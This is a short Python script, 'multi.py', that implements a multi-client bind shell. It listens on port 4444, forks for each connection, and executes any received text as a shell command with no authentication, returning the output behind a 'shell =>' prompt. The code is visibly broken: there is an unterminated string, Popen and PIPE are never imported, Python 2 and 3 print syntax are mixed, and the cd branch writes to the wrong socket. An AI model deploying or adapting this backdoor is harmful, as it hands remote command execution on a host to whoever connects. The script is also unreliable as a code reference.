Multiple connections

multi.py

import os,sys
import socket
import time
                      
HOST = ''                              
PORT = 4444                            
activePID = []

conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.bind((HOST, PORT))
conn.listen(5)
print("Listening on port %s" % PORT)


def reaper():                              
    while activePID:                        
        pid,stat = os.waitpid(0, os.WNOHANG)     
        if not pid: break
        activePID.remove(pid)


def handler(connection):                    
    time.sleep(5)
    print("Starting new connection...)
                                
    while 1:                                     
        cmd = connection.recv(1024)
        proc = Popen(cmd,
               shell=True,
              stdout=PIPE,
              stderr=PIPE,
               stdin=PIPE,
              )
        stdout, stderr = proc.communicate()

        if cmd.startswith('cd'):
            destination = cmd[3:].replace('\n','')
            if os.path.isdir(destination):
                os.chdir(destination)
                conn.send("\n shell => ")
            else:
                conn.send("[!] Directory does not exist") 
                conn.send("\n shell => ")

        elif proc:
            connection.send( stdout )
            connection.send("\n shell => ")

    connection.close() 
    os._exit(0)

def accept():                                
    while 1:                                     
        connection, address = conn.accept()
        print "[!] New connection!"
        reaper()
        childPid = os.fork()                     # forks the incoming connection and sends to handler
        if childPid == 0:
            connection.send("\n shell => ")
            handler(connection)
        else:
            activePID.append(childPid)

accept()